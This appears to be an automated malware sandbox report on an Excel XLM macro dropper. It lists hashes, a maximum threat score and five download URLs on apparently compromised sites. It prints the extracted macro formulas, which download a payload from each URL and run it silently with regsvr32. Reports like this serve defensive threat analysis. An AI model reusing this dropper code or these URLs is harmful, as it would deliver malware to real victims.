1d4e5a35c6b9b726cbabad5f256816236f8c39c52b9ee1b6da4c4ce8bd390168

General

Target

1d4e5a35c6b9b726cbabad5f256816236f8c39c52b9ee1b6da4c4ce8bd390168
Size

69KB
Sample

241121-a8anpsxgqm
MD5

9516940861e469c3508ae2ca17ee090d
SHA1

f75b041b9be5f91c1b2b92a0c2010ccbc278ac75
SHA256

1d4e5a35c6b9b726cbabad5f256816236f8c39c52b9ee1b6da4c4ce8bd390168
SHA512

5af3ddd7a912924abb118986d389ec823ffc9fd1afa7e7c54a3842850df2efab9c9df979181f9ddc6f49b545c793244d5c7a826edd11c8d6e496e508798602fa
SSDEEP

1536:xp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:wzWhxHjh88ZoH7juFuZiQg

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

xlm40.dropper

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

xlm40.dropper

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

xlm40.dropper

https://triclicks.net/wp-admin/bv/

xlm40.dropper

https://thecanadianarab.com/wp-content/VJ/